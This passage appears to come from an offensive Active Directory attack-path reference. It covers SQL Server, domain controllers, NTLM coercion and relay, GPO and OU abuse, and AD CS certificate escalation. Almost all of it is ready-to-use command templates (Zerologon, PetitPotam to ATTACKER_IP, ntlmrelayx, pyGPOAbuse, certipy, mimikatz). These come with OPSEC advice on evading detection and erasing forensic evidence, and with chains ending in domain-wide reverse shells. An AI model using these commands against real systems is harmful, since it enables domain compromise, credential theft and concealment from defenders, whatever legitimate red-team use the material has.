Get-SQLServerLinkCrawl -Instance {TARGET_COMPUTER} | Get-SQLQuery -Query 'whoami'
🥉SSMSMicrosoft
# Open SQL Server Management Studio, connect, run xp_cmdshell.
TIPS & OPSEC
  • Step-by-step: enable_xp_cmdshell → xp_cmdshell 'whoami' → code execution.
  • Link crawling: Use PowerUpSQL Get-SQLServerLinkCrawl for linked server privilege escalation.
  • OPSEC: xp_cmdshell is heavily monitored. Use CLR integration or agent jobs for stealth.
COMMON ERRORS & FIXES
Access denied enabling xp_cmdshell
Cause: Insufficient SQL permissions
Fix: Verify sysadmin role. Use PowerUpSQL to check permissions.
xp_cmdshell disabled
Cause: Surface area configuration blocks it
Fix: Use sp_configure to enable. May require sysadmin.
CHAIN THIS ATTACK

SQLAdmin → xp_cmdshell → SYSTEM shell → credential dump

Common chains:

  • xp_cmdshell → reverse shell → domain enumeration
  • Linked servers → link crawl → sysadmin on remote instance
💻 Computer DCFor CRITICAL ⏱️ 2 min 🔊 High

DCFor - Domain Controller Compromise

Target is a Domain Controller. Compromise it for full domain control via DCSync, Golden Ticket, or exploit.

🥇zerologon.py (CVE-2020-1472)latest
zerologon.py -exploit {DC_HOSTNAME} {DC_IP}
secretsdump.py -no-pass '{DOMAIN}/{DC_HOSTNAME}$@{DC_IP}'
🥈PetitPotam → ntlmrelayx.py / certipy relaylatest
PetitPotam.py -u {USERNAME} -p '{PASSWORD}' -d {DOMAIN} {ATTACKER_IP} {DC_IP}
ntlmrelayx.py -t ldap://{DC_IP} --delegate-access --add-computer
🥉DFSCoerce.py / ShadowCoerce.pylatest
DFSCoerce.py -u {USERNAME} -p '{PASSWORD}' -d {DOMAIN} {ATTACKER_IP} {DC_IP}
ShadowCoerce.py -u {USERNAME} -p '{PASSWORD}' -d {DOMAIN} {ATTACKER_IP} {DC_IP}
4️⃣noPac.py / samtheadmin.pylatest
noPac.py -dc-ip {DC_IP} {DOMAIN}/{USERNAME}:{PASSWORD} -shell
samtheadmin.py '{DOMAIN}/{USERNAME}:{PASSWORD}' -dc-ip {DC_IP} -scheme ldap
5️⃣secretsdump.py (after local admin)v0.12+
secretsdump.py '{DOMAIN}/{USERNAME}:{PASSWORD}'@{DC_IP} -just-dc
🥇mimikatz lsadump::lsa /patchv2.2+
lsadump::lsa /patch
🥈SharpZeroLogon.exelatest
SharpZeroLogon.exe {DC_HOSTNAME}
🥉Rubeus dump / asktgtv2.0+
Rubeus.exe dump /service:krbtgt /user:krbtgt /domain:{DOMAIN}
TIPS & OPSEC
  • Zerologon: CVE-2020-1472. Sets DC computer account password to empty. Extremely noisy.
  • PetitPotam: Coerces DC to authenticate to attacker. Combine with ntlmrelayx or certipy relay.
  • noPac: samAccountName spoofing. Requires writable computer account.
  • Golden Ticket: After krbtgt hash extraction, create persistent TGT for any user.
COMMON ERRORS & FIXES
RPC_S_ACCESS_DENIED
Cause: Zerologon patched or RPC filters
Fix: Check patch status. Try PetitPotam or alternative coercion instead.
LDAP signing required
Cause: LDAP channel binding blocks relay
Fix: Try ldaps:// with --no-check-certificate or use Web Enrollment (ESC8) path.
CHAIN THIS ATTACK

DCFor → DCSync / exploit → full domain compromise

Common chains:

  • Zerologon → empty password → secretsdump → krbtgt → Golden Ticket
  • PetitPotam → relay to LDAP → add computer → RBCD → SYSTEM on DC
💻 Computer CoerceToTGT CRITICAL ⏱️ 2 min 🔊 High

CoerceToTGT - Unconstrained Delegation

Compromise unconstrained delegation computer → coerce DC → capture TGT → DCSync.

🥇PetitPotam.pylatest
PetitPotam.py -u {USERNAME} -p '{PASSWORD}' -d {DOMAIN} {ATTACKER_IP} {TARGET_DC_IP}
🥈DFSCoerce.py / ShadowCoerce.py / printerbug.pylatest
DFSCoerce.py -u {USERNAME} -p '{PASSWORD}' -d {DOMAIN} {ATTACKER_IP} {TARGET_DC_IP}
printerbug.py '{DOMAIN}/{USERNAME}:{PASSWORD}'@{TARGET_DC_IP} {ATTACKER_IP}
🥉ntlmrelayx.py -tf targets.txtv0.12+
ntlmrelayx.py -tf targets.txt -socks
4️⃣nxc smb -M petitpotamv1.0+
nxc smb {TARGET_DC_IP} -u {USERNAME} -p '{PASSWORD}' -M petitpotam
🥇Rubeus monitor + SpoolSample.exev2.0+
Rubeus.exe monitor /interval:10 /filteruser:DC$
SpoolSample.exe {TARGET_DC_IP} {ATTACKER_IP}
🥈SharpSpoolTrigger.exelatest
SharpSpoolTrigger.exe {TARGET_DC_IP} {ATTACKER_IP}
🥉SharpSystem.exelatest
SharpSystem.exe {TARGET_DC_IP} {ATTACKER_IP}
TIPS & OPSEC
  • Step-by-step: 1) Compromise unconstrained delegation computer. 2) Coerce DC. 3) Capture TGT. 4) DCSync.
  • Rubeus monitor: Monitors for incoming TGTs on unconstrained delegation host.
  • PrinterBug: MS-RPRN coercion. Works on most DCs unless patched.
  • OPSEC: Coercion is loud. Combine with business hours for blending in.
COMMON ERRORS & FIXES
RPC_S_SERVER_UNAVAILABLE
Cause: Spooler service disabled or firewall
Fix: Try alternative coercion: PetitPotam (MS-EFSRPC) or DFSCoerce (MS-DFSNM).
No TGT captured
Cause: Target does not have unconstrained delegation
Fix: Verify msDS-AllowedToDelegateTo is empty and TRUSTED_FOR_DELEGATION is set.
CHAIN THIS ATTACK

CoerceToTGT → capture TGT → DCSync → full domain compromise

Common chains:

  • PetitPotam → TGT → Pass-the-Ticket → secretsdump.py -k
  • PrinterBug → Rubeus monitor → DCSync all hashes
🔧 Any Object CoerceAndRelayNTLMToSMB CRITICAL ⏱️ 2 min 🔊 High

CoerceAndRelayNTLMToSMB - NTLM Relay to SMB

Coerce target to authenticate via NTLM, then relay to SMB on another target.

🥇ntlmrelayx.pyv0.12+
ntlmrelayx.py -t smb://{TARGET} -smb2support
🥈MultiRelay.pylatest
python3 MultiRelay.py -t {TARGET} -u ALL
🥉nxc --gen-relay-listv1.0+
nxc smb {TARGET} -u {USERNAME} -p '{PASSWORD}' --gen-relay-list targets.txt
🥇Inveigh + Invoke-InveighRelaylatest
Invoke-InveighRelay -Command '-t {TARGET} -SMB'
TIPS & OPSEC
  • SMB signing: If required on target, relay will fail. Check with nxc smb --gen-relay-list.
  • Coercion: Use PetitPotam, printerbug, or WebDAV to trigger NTLM auth.
  • Multiple targets: ntlmrelayx.py supports -tf targets.txt for multi-target relay.
COMMON ERRORS & FIXES
STATUS_ACCESS_DENIED
Cause: SMB signing required on target
Fix: Target requires SMB signing. Cannot relay. Choose different target or protocol.
CHAIN THIS ATTACK

Coerce → relay to SMB → command execution / dump SAM

Common chains:

  • PetitPotam → ntlmrelayx.py -t smb://DC → add computer → RBCD
🔧 Any Object CoerceAndRelayNTLMToLDAP CRITICAL ⏱️ 2 min 🔊 High

CoerceAndRelayNTLMToLDAP - NTLM Relay to LDAP

Coerce target to authenticate via NTLM, then relay to LDAP to modify directory objects.

🥇ntlmrelayx.pyv0.12+
ntlmrelayx.py -t ldap://{DC_IP} --delegate-access --add-computer
🥈ntlmrelayx.py (escalate user)v0.12+
ntlmrelayx.py -t ldap://{DC_IP} --escalate-user {USERNAME}
🥇Inveigh relay to LDAPlatest
Invoke-InveighRelay -Command '-t ldap://{DC_IP} --delegate-access'
TIPS & OPSEC
  • LDAP signing: Blocks NTLM relay to LDAP. Check if signing is enforced.
  • --delegate-access: Grants RBCD rights for the relayed account. Immediate escalation path.
  • --add-computer: Adds a computer account via relay. Useful for RBCD setup.
COMMON ERRORS & FIXES
LDAP signing error
Cause: LDAP signing is enforced
Fix: Try LDAPS relay instead, or use ESC8 (Web Enrollment) path.
CHAIN THIS ATTACK

Coerce → relay to LDAP → add computer / RBCD → SYSTEM

Common chains:

  • PetitPotam → ntlmrelayx.py -t ldap://DC --delegate-access → RBCD → psexec
🔧 Any Object CoerceAndRelayNTLMToLDAPS CRITICAL ⏱️ 2 min 🔊 High

CoerceAndRelayNTLMToLDAPS - NTLM Relay to LDAPS

Coerce target to authenticate via NTLM, then relay to LDAPS. Channel binding (EPA) may block this.

🥇ntlmrelayx.pyv0.12+
ntlmrelayx.py -t ldaps://{DC_IP} --delegate-access --add-computer
🥇Inveigh relay to LDAPSlatest
Invoke-InveighRelay -Command '-t ldaps://{DC_IP} --delegate-access'
TIPS & OPSEC
  • Channel binding (EPA): If enforced, LDAPS relay is blocked. No known bypass.
  • Verification: Check if LDAPSChannelBinding registry value is set to 2 (always).
COMMON ERRORS & FIXES
Channel binding required
Cause: LDAPS EPA is enforced
Fix: Cannot relay to LDAPS with EPA. Use LDAP (if signing not enforced) or ESC8 path.
CHAIN THIS ATTACK

Coerce → relay to LDAPS → modify directory → escalation

Common chains:

  • LDAPS relay → add RBCD → S4U → admin access
🔧 Any Object CoerceAndRelayNTLMToADCS CRITICAL ⏱️ 2 min 🔊 High

CoerceAndRelayNTLMToADCS - ESC8

Coerce target to authenticate to AD CS Web Enrollment, relay for certificate issuance.

🥇ntlmrelayx.py --adcsv0.12+
ntlmrelayx.py -t http://{CA_IP}/certsrv/certfnsh.asp --adcs --template Machine
🥈certipy relayv4.8+
certipy relay -target http://{CA_IP}/certsrv/certfnsh.asp -template Machine
🥉ADCSPwn.exelatest
ADCSPwn.exe --adcs {CA_NAME} --remote {TARGET}
🥇ADCSPwn.exe (in-memory)latest
ADCSPwn.exe --adcs {CA_NAME} --remote {TARGET}
🥈Inveigh relay to AD CSlatest
Invoke-InveighRelay -Command '-t http://{CA_IP}/certsrv/certfnsh.asp --adcs'
TIPS & OPSEC
  • Prerequisite: Web Enrollment must be enabled on CA.
  • WebClient service: Must be running on coerced target for WebDAV-based coercion.
  • Template: Use Machine template for computer accounts, User template for users.
  • Certificate: Use certipy auth or Rubeus asktgt to authenticate with obtained certificate.
COMMON ERRORS & FIXES
Web Enrollment not enabled
Cause: AD CS Web Enrollment feature not installed
Fix: This path is blocked. Try ESC1-ESC7 instead.
WebClient service not running
Cause: Target cannot authenticate to HTTP
Fix: Use PetitPotam or alternative coercion that doesn't require WebClient.
CHAIN THIS ATTACK

Coerce → relay to AD CS → obtain certificate → authenticate → admin

Common chains:

  • ESC8 → Machine certificate → certipy auth → SYSTEM on DC
  • ESC8 → User certificate → Rubeus asktgt → lateral movement

GPO Edges

GPO Edges attack paths and exploitation techniques.

📄 GPO GenericAll CRITICAL ⏱️ 2 min 🔊 High

GenericAll on GPO - Mass Compromise

Modify Group Policy Object settings to execute code on all computers where the GPO is applied. Immediate domain-wide or OU-wide compromise.

🥇pyGPOAbuselatest
python3 pyGPOAbuse.py -u {DOMAIN}\\{USERNAME} -p '{PASSWORD}' -d {DC_IP} -gpo-id '{GPO_GUID}' -command 'powershell -enc ...'
🥈bloodyAD - SYSVOL writev2.0+
smbclient //{DC_IP}/SYSVOL -U '{DOMAIN}/{USERNAME}%{PASSWORD}' -c 'cd {DOMAIN}/Policies/{GPO_GUID}/Machine/Scripts/Startup; put payload.bat'
🥉SharpGPOAbuse (via proxy)latest
# Run on Windows target with .NET
SharpGPOAbuse.exe --AddComputerTask --GPOID '{GPO_GUID}' --TaskName 'Pwn' --Author '{DOMAIN}\{USERNAME}' --Command 'cmd.exe' --Arguments '/c powershell -enc ...'
🥇SharpGPOAbuse.exelatest
SharpGPOAbuse.exe --AddComputerTask --GPOID '{GPO_GUID}' --TaskName 'Pwn' --Author '{DOMAIN}\{USERNAME}' --Command 'cmd.exe' --Arguments '/c powershell -enc ...'
🥈PowerView - Modify GPCPowerSploit
Set-DomainObject -Identity '{GPO_GUID}' -Set @{gPCFileSysPath='\{ATTACKER_IP}\share\fakegpo'} -Credential 
🥉gpmc.mscBuilt-in
# Open Group Policy Management Console, edit GPO, add startup script or scheduled task.
TIPS & OPSEC
  • GPO refresh: Default is 90 min (random offset). Force with gpupdate /force on target.
  • SYSVOL: All domain users can read SYSVOL. Be careful with payload placement - visible to defenders.
  • OPSEC: GPO modifications create Event 5136/5137. Very high visibility.
  • Cleanup: Remove startup scripts/tasks after compromise. Restore original GPC files.
COMMON ERRORS & FIXES
Access denied to SYSVOL
Cause: Write permissions missing on GPT files
Fix: Verify GenericAll applies to both GPC (LDAP) and GPT (SYSVOL). Use bloodyAD get acl.
GPO not applying
Cause: WMI filter blocks GPO or OU scope mismatch
Fix: Check gpresult /h report on target. Verify OU linkage.
CHAIN THIS ATTACK

Modify GPO → Startup script runs → Shell on all affected computers

Common chains:

  • Add startup script → mass reverse shell → domain-wide compromise
  • Add local admin → lateral movement → credential harvesting
  • Deploy scheduled task → persistent access across fleet
📁 OU GenericAll CRITICAL ⏱️ 2 min 🔊 High

GenericAll on OU - Descendant Control

Grant full control over all objects within the OU. Can link malicious GPOs or modify inheritance to affect child objects.

🥇bloodyAD - Grant descendant GenericAllv2.0+
bloodyAD --host {DC_IP} -d {DOMAIN} -u {USERNAME} -p '{PASSWORD}' add genericAll {OU_DN} {USERNAME}
🥈dacledit.pyv0.12+
dacledit.py '{DOMAIN}/{USERNAME}:{PASSWORD}' -principal {USERNAME} -target '{OU_DN}' -action write -rights GenericAll -dc-ip {DC_IP}
🥇bloodyAD - Link malicious GPOv2.0+
bloodyAD --host {DC_IP} -d {DOMAIN} -u {USERNAME} -p '{PASSWORD}' set gplink '{OU_DN}' {{GPO_GUID}}
🥈pyGPOAbuselatest
python3 pyGPOAbuse.py -u {DOMAIN}\\{USERNAME} -p '{PASSWORD}' -d {DC_IP} -gpo-id '{GPO_GUID}' -command 'net user pwned Pass1234! /add'
🥇PowerView - Grant GenericAllPowerSploit
Add-DomainObjectAcl -TargetIdentity '{OU_DN}' -PrincipalIdentity {USERNAME} -Rights GenericAll -Credential $cred
🥇New-GPLinkMicrosoft Signed
New-GPLink -Name '{GPO_NAME}' -Target '{OU_DN}' -Enforced Yes -Credential $cred
🥈dsacls.exeBuilt-in (RSAT)
dsacls '{OU_DN}' /G '{DOMAIN}\{USERNAME}:GA'
TIPS & OPSEC
  • Inheritance: Check if 'Block Inheritance' is set on child OUs. May prevent GPO application.
  • Descendant rights: GenericAll on OU does NOT automatically propagate to children unless inheritance is enabled.
  • Event 5136: Directory service changes logged for OU modifications.
  • Cleanup: Remove added ACEs with dacledit.py -action restore or bloodyAD remove genericAll.
COMMON ERRORS & FIXES
Inheritance blocked
Cause: Child objects have adminCount=1 or explicit block
Fix: Check inheritance flags. Target objects directly if inheritance is blocked.
Explicit deny ACE present
Cause: Deny ACE takes precedence over allow
Fix: Use WriteOwner to change owner, then modify DACL to remove deny ACE.
CHAIN THIS ATTACK

Grant descendant GenericAll → ForceChangePassword on admin → Domain compromise

Common chains:

  • Link GPO to OU → all computers in OU execute payload
  • Grant GenericAll on OU → modify all users → password spray
  • Add computer to OU → use as RBCD helper
🌍 Domain GenericWrite CRITICAL ⏱️ 2 min 🔊 High

GenericWrite on DOMAIN - GP-Link, Description

Write the GP-Link attribute to link a malicious GPO, or write description for social engineering. Cannot modify most security attributes without GenericAll.

🥇bloodyAD set gplinkv2.0+
bloodyAD --host {DC_IP} -d {DOMAIN} -u {USERNAME} -p '{PASSWORD}' set gplink '{DOMAIN_DN}' {{GPO_GUID}}
🥈pyGPOAbuselatest
python3 pyGPOAbuse.py -u {DOMAIN}\\{USERNAME} -p '{PASSWORD}' -d {DC_IP} -gpo-id '{GPO_GUID}' -command 'powershell -enc ...'
🥇New-GPLinkMicrosoft Signed
New-GPLink -Name '{GPO_NAME}' -Target '{DOMAIN_DN}' -Enforced Yes -Credential $cred
🥈gpmc.mscBuilt-in
# Open GPMC, right-click domain, Link an Existing GPO.
TIPS & OPSEC
  • GPO link: Requires Edit rights on the GPO itself. GenericWrite on domain only allows linking.
  • Enforced: Use -Enforced Yes to bypass OU-level Block Inheritance.
  • Description: Writing description can be used for phishing or social engineering.
COMMON ERRORS & FIXES
Access denied linking GPO
Cause: No Edit rights on the GPO object
Fix: Gain GenericWrite or GenericAll on the GPO object first.
CHAIN THIS ATTACK

Link malicious GPO → Startup script → Domain-wide shell

Common chains:

  • Link GPO → mass reverse shell → domain compromise
  • Link GPO → add local admin → persistent access
📄 GPO GenericWrite CRITICAL ⏱️ 2 min 🔊 High

GenericWrite on GPO - GPT Modification

Write to gPCFileSysPath or modify GPT permissions. Can redirect GPO to attacker-controlled SYSVOL path.

🥇smbclient SYSVOL writeSamba
smbclient //{DC_IP}/SYSVOL -U '{DOMAIN}/{USERNAME}%{PASSWORD}' -c 'cd {DOMAIN}/Policies/{GPO_GUID}/Machine/Scripts/Startup; put payload.bat'
🥈bloodyAD set objectv2.0+
bloodyAD --host {DC_IP} -d {DOMAIN} -u {USERNAME} -p '{PASSWORD}' set object '{GPO_GUID}' gPCFileSysPath '\\\\{ATTACKER_IP}\share\\fakegpo'
🥇Copy-Item to SYSVOLBuilt-in
Copy-Item \path\payload.bat \\{DC_IP}\SYSVOL\{DOMAIN}\Policies\{GPO_GUID}\Machine\Scripts\Startup\
🥈SharpGPOAbuse.exelatest
SharpGPOAbuse.exe --AddComputerTask --GPOID '{GPO_GUID}' ...
TIPS & OPSEC
  • gPCFileSysPath: Redirecting this causes clients to pull scripts from attacker server.
  • Permissions: Need write access to both GPC (LDAP) and GPT (SYSVOL files).
  • Replication: SYSVOL replicates to all DCs. Changes propagate quickly.
COMMON ERRORS & FIXES
Access denied to SYSVOL
Cause: GPT file permissions don't allow write
Fix: Verify GenericWrite applies to both GPC and GPT. Use bloodyAD get acl.
CHAIN THIS ATTACK

GenericWrite on GPO → modify GPT → code execution on all applied computers

Common chains:

  • Modify startup script → mass reverse shell → domain-wide compromise

AD CS (ESC)

AD CS (ESC) attack paths and exploitation techniques.

📝 CertTemplate ADCS CRITICAL ⏱️ 2 min 🔊 High

ADCSESC1 - Client Supply Subject + Auth EKU

Enroll rights + client supplies subject + authentication EKU + no manager approval + published to trusted CA.

🥇certipy reqv4.8+
certipy req -u {USERNAME}@{DOMAIN} -p '{PASSWORD}' -target {CA_NAME} -template {CERT_TEMPLATE} -ca '{CA_NAME}' -upn Administrator@{DOMAIN}
🥈certipy authv4.8+
certipy auth -pfx Administrator.pfx -domain {DOMAIN}
🥉certipy findv4.8+
certipy find -target {DC_IP} -bloodhound
🥇Certify.exe 2.0 requestlatest
Certify.exe request /ca:{CA_NAME} /template:{CERT_TEMPLATE} /altname:Administrator
🥈certreq.exeBuilt-in
certreq.exe -submit -attrib "CertificateTemplate:{CERT_TEMPLATE}" request.req
TIPS & OPSEC
  • Alternative SAN types: /upn, /dns, /sid. UPN is most common.
  • Cleanup: Delete issued certificate after use to reduce forensic evidence.
  • Detection: Certificate enrollment with altname may be logged by CA audit.
COMMON ERRORS & FIXES
CERTSRV_E_TEMPLATE_DENIED
Cause: No enrollment rights or template not published
Fix: Verify enrollment rights with certipy find -u {USERNAME}@{DOMAIN} -p '{PASSWORD}' -target {DC_IP}
KDC_ERR_CLIENT_NOT_FOUND
Cause: UPN doesn't match existing user
Fix: Use exact UPN of existing user. Verify with Get-ADUser.
CHAIN THIS ATTACK

ESC1 → request cert as Admin → authenticate → Domain Admin

Common chains:

  • certipy req -upn Administrator → certipy auth → DA shell
  • Certify.exe request /altname → Rubeus asktgt → psexec
📝 CertTemplate ADCS CRITICAL ⏱️ 2 min 🔊 High

ADCSESC3 - Enrollment Agent

Request enrollment agent certificate, then request certificate on behalf of another user.

🥇certipy req (agent cert)v4.8+
certipy req -u {USERNAME}@{DOMAIN} -p '{PASSWORD}' -target {CA_NAME} -template EnrollmentAgent -ca '{CA_NAME}'
🥈certipy req -on-behalf-ofv4.8+
certipy req -u {USERNAME}@{DOMAIN} -p '{PASSWORD}' -target {CA_NAME} -template User -ca '{CA_NAME}' -on-behalf-of Administrator -pfx EnrollmentAgent.pfx
🥇Certify.exe request /onbehalfoflatest
Certify.exe request /ca:{CA_NAME} /template:EnrollmentAgent /onbehalfof:Administrator
TIPS & OPSEC
  • Enrollment Agent: Requires specific template with Certificate Request Agent EKU.
  • On-behalf-of: Second request uses the agent certificate to request cert for target user.
  • Chain: ESC3 requires two certificate requests. Automate with certipy.
COMMON ERRORS & FIXES
Template denied
Cause: No enrollment agent template available
Fix: Check certipy find output for EnrollmentAgent template.
CHAIN THIS ATTACK

ESC3 → agent cert → on-behalf-of cert → authenticate → admin

Common chains:

  • EnrollmentAgent → on-behalf-of Administrator → Rubeus ptt → SYSTEM
📝 CertTemplate ADCS CRITICAL ⏱️ 2 min 🔊 High

ADCSESC4 - Template Control

Modify existing certificate template to enable ESC1 conditions. Already covered in GenericAll on CertTemplate.

🥇certipy templatev4.8+
certipy template -u {USERNAME}@{DOMAIN} -p '{PASSWORD}' -target {DC_IP} -template {CERT_TEMPLATE} -save-old
🥈bloodyAD set objectv2.0+
bloodyAD --host {DC_IP} -d {DOMAIN} -u {USERNAME} -p '{PASSWORD}' set object '{CERT_TEMPLATE}' msPKI-Certificate-Name-Flag '1'
🥇Certify.exe template /modifylatest
Certify.exe template /modify /template:{CERT_TEMPLATE} /attrib:msPKI-Certificate-Name-Flag=1
🥈certtmpl.mscBuilt-in
# Open Certificate Templates MMC, modify template properties manually.
TIPS & OPSEC
  • Cleanup: Always restore original template after exploitation.
  • Detection: Template modifications are logged. Use during maintenance windows.
  • Chain: ESC4 → ESC1 → certipy req → certipy auth → DA access.
COMMON ERRORS & FIXES
Access denied
Cause: Template owned by SYSTEM or protected
Fix: Use WriteOwner → owneredit.py → modify DACL → template control.
CHAIN THIS ATTACK

ESC4 → modify template → ESC1 → request cert → authenticate → DA

Common chains:

  • Modify template → enable client supply subject → ESC1 → Domain Admin
  • Modify template → remove manager approval → instant certificate
🔧 Any Object ADCS CRITICAL ⏱️ 2 min 🔊 High

ADCSESC5 - PKI Object ACLs

Abuse ACLs on PKI objects: CA, cert template, enrollment services, etc.

🥇bloodyAD + certipy combinationv2.0+
bloodyAD --host {DC_IP} -d {DOMAIN} -u {USERNAME} -p '{PASSWORD}' add genericAll '{CA_NAME}' {USERNAME}
certipy find -u {USERNAME}@{DOMAIN} -p '{PASSWORD}' -target {DC_IP}
🥇PowerView + Certify.exePowerSploit
Add-DomainObjectAcl -TargetIdentity '{CA_NAME}' -PrincipalIdentity {USERNAME} -Rights GenericAll -Credential $cred
Certify.exe find /vulnerable
TIPS & OPSEC
  • Target objects: Enterprise CA, cert templates, enrollment services, root CA.
  • Impact: Can publish arbitrary templates, modify CA security descriptors, or extract CA private key.
COMMON ERRORS & FIXES
CERTSRV_E_INVALID_ATTESTATION / 0x80094010
Cause: Template requires attestation or proof of possession
Fix: Use -web or -machine flags with certipy-ad. Verify template enrollment rights.
KDC_ERR_CLIENT_NOT_TRUSTED / KDC_ERR_PADATA_TYPE_NOSUPP
Cause: Certificate authentication failed or PKINIT not supported
Fix: Verify CA trust chain. Check if NTLM fallback works: certipy-ad auth -pfx cert.pfx -dc-ip {DC_IP}
ERROR_DS_NO_SUCH_OBJECT
Cause: CA not found or wrong CA name format
Fix: List CAs: certipy-ad find -u {USERNAME}@{DOMAIN} -p '{PASSWORD}' -dc-ip {DC_IP}. Use exact CA name.
CHAIN THIS ATTACK

ESC5 → GenericAll on CA → publish malicious template → ESC1 → DA

Common chains:

  • GenericAll on CA → enable dangerous template → request cert → admin
🔧 Any Object ADCS CRITICAL ⏱️ 2 min 🔊 High

ADCSESC6a - EDITF_ATTRIBUTESUBJECTALTNAME2

CA has EDITF_ATTRIBUTESUBJECTALTNAME2 flag set. Allows client to specify SAN in ANY template request.

🥇certipy find (shows flag)v4.8+
certipy find -u {USERNAME}@{DOMAIN} -p '{PASSWORD}' -target {DC_IP}
🥈certipy req with -altnamev4.8+
certipy req -u {USERNAME}@{DOMAIN} -p '{PASSWORD}' -target {CA_NAME} -template User -ca '{CA_NAME}' -altname Administrator@{DOMAIN}
🥇certutil -getregBuilt-in
certutil -getreg "Policy\EditFlags"
🥈Certify.exe find /vulnerablelatest
Certify.exe find /vulnerable
TIPS & OPSEC
  • Flag detection: certipy find shows if EDITF_ATTRIBUTESUBJECTALTNAME2 is enabled.
  • Any template: Even User template becomes ESC1-equivalent when this flag is set.
  • Fix: certutil -setreg Policy\EditFlags -EDITF_ATTRIBUTESUBJECTALTNAME2
COMMON ERRORS & FIXES
SAN not accepted
Cause: Flag not actually set or template blocks it
Fix: Verify with certutil -getreg. Check if template has 'Supply in request' enabled.
CHAIN THIS ATTACK

ESC6a → request cert with altname → authenticate → Domain Admin

Common chains:

  • ESC6a → User template + altname → certipy auth → DA
🔧 Any Object ADCS CRITICAL ⏱️ 2 min 🔊 High

ADCSESC7 - Certificate Manager

Certificate Manager can issue/retrieve pending certificate requests. Approve malicious requests.

🥇certipy ca -issue-requestv4.8+
certipy ca -u {USERNAME}@{DOMAIN} -p '{PASSWORD}' -target {DC_IP} -ca '{CA_NAME}' -issue-request 1
🥈certipy ca -retrieve-requestv4.8+
certipy ca -u {USERNAME}@{DOMAIN} -p '{PASSWORD}' -target {DC_IP} -ca '{CA_NAME}' -retrieve-request 1
🥇certsrv.msc pending requestsBuilt-in
# Open certsrv.msc, approve pending request.
🥈certutil -resubmitBuilt-in
certutil -resubmit 1
TIPS & OPSEC
  • Pending requests: Manager approval required templates queue requests.
  • ESC7: Certificate Manager can approve any pending request = bypass approval requirement.
COMMON ERRORS & FIXES
CERTSRV_E_INVALID_ATTESTATION / 0x80094010
Cause: Template requires attestation or proof of possession
Fix: Use -web or -machine flags with certipy-ad. Verify template enrollment rights.
KDC_ERR_CLIENT_NOT_TRUSTED / KDC_ERR_PADATA_TYPE_NOSUPP
Cause: Certificate authentication failed or PKINIT not supported
Fix: Verify CA trust chain. Check if NTLM fallback works: certipy-ad auth -pfx cert.pfx -dc-ip {DC_IP}
ERROR_DS_NO_SUCH_OBJECT
Cause: CA not found or wrong CA name format
Fix: List CAs: certipy-ad find -u {USERNAME}@{DOMAIN} -p '{PASSWORD}' -dc-ip {DC_IP}. Use exact CA name.
CHAIN THIS ATTACK

ESC7 → approve pending request → obtain certificate → authenticate → admin

Common chains:

  • Approve malicious cert request → certipy auth → DA access
🔧 Any Object ADCS CRITICAL ⏱️ 2 min 🔊 High

ADCSESC9 - Weak Kerberos Mapping (UPN/DNS)

NO_SECURITY_EXTENSION flag + weak mapping DC + UPN/DNS in SAN. Authenticate as arbitrary user.

🥇certipy req with -upnv4.8+
certipy req -u {USERNAME}@{DOMAIN} -p '{PASSWORD}' -target {CA_NAME} -template {CERT_TEMPLATE} -ca '{CA_NAME}' -upn Administrator@{DOMAIN}
🥈certipy req with -dnsv4.8+
certipy req -u {USERNAME}@{DOMAIN} -p '{PASSWORD}' -target {CA_NAME} -template {CERT_TEMPLATE} -ca '{CA_NAME}' -dns {TARGET_COMPUTER}.{DOMAIN}
🥇Certify.exe request /altnamelatest
Certify.exe request /ca:{CA_NAME} /template:{CERT_TEMPLATE} /altname:Administrator
TIPS & OPSEC
  • ESC9 (UPN): NO_SECURITY_EXTENSION + UPN mapping enabled + UPN in SAN.
  • ESC10 (DNS): NO_SECURITY_EXTENSION + DNS mapping enabled + computer victim + DNS in SAN.
  • Verify DC: certipy find shows strongcertificatebindingenforcement and certificatemappingmethods.
COMMON ERRORS & FIXES
Certificate mapping fails
Cause: Strong certificate mapping enforced on DC
Fix: Check certipy find output. If strong mapping enabled, ESC9/10 may be blocked.
CHAIN THIS ATTACK

ESC9/10 → request cert with UPN/DNS → authenticate → Domain Admin

Common chains:

  • certipy req -upn Administrator → certipy auth → DA shell
🔧 Any Object ADCS CRITICAL ⏱️ 2 min 🔊 High

ADCSESC11 - Unencrypted RPC Enrollment

CA has IF_ENFORCEENCRYPTICERTREQUEST NOT set. RPC channel to CA is unencrypted. Can downgrade or MITM certificate requests.

🥇certipy req via RPCv4.8+
certipy req -u {USERNAME}@{DOMAIN} -p '{PASSWORD}' -target {CA_NAME} -template {CERT_TEMPLATE} -ca '{CA_NAME}' -rpc
🥇certutil with RPCBuilt-in
certutil -config '{CA_NAME}' -submit request.req
TIPS & OPSEC
  • Downgrade: Unencrypted RPC allows MITM or modification of certificate requests.
  • Fix: certutil -setreg CA\InterfaceFlags +IF_ENFORCEENCRYPTICERTREQUEST
COMMON ERRORS & FIXES
CERTSRV_E_INVALID_ATTESTATION / 0x80094010
Cause: Template requires attestation or proof of possession
Fix: Use -web or -machine flags with certipy-ad. Verify template enrollment rights.
KDC_ERR_CLIENT_NOT_TRUSTED / KDC_ERR_PADATA_TYPE_NOSUPP
Cause: Certificate authentication failed or PKINIT not supported
Fix: Verify CA trust chain. Check if NTLM fallback works: certipy-ad auth -pfx cert.pfx -dc-ip {DC_IP}
ERROR_DS_NO_SUCH_OBJECT
Cause: CA not found or wrong CA name format
Fix: List CAs: certipy-ad find -u {USERNAME}@{DOMAIN} -p '{PASSWORD}' -dc-ip {DC_IP}. Use exact CA name.
CHAIN THIS ATTACK

ESC11 → MITM RPC request → modify certificate → authenticate

Common chains:

  • MITM certificate request → add arbitrary EKU → admin cert
🔧 Any Object ADCS CRITICAL ⏱️ 2 min 🔊 High

ADCSESC12 - CA Private Key Extraction

CA private key stored on vulnerable HSM or with extractable credentials. Requires prior CA server compromise.

🥇mimikatz + registryv2.2+
lsadump::backupkeys /system:{CA_SERVER}
lsadump::secrets /patch
🥈HSM-specific toolsvaries
# Use vendor-specific HSM management tools to extract key material.
🥇mimikatz lsadump::backupkeysv2.2+
lsadump::backupkeys /system:{CA_SERVER}
🥈registry inspectionBuilt-in
reg query \\{CA_SERVER}\HKLM\SOFTWARE\Microsoft\Cryptography\Keys
TIPS & OPSEC
  • Post-exploitation: Requires code execution on CA server or HSM management interface.
  • BloodHound: May show HostsCAService + AdminTo edges leading to CA compromise.
  • Impact: Full CA private key = forge certificates for any user indefinitely (GoldenCert).
COMMON ERRORS & FIXES
CERTSRV_E_INVALID_ATTESTATION / 0x80094010
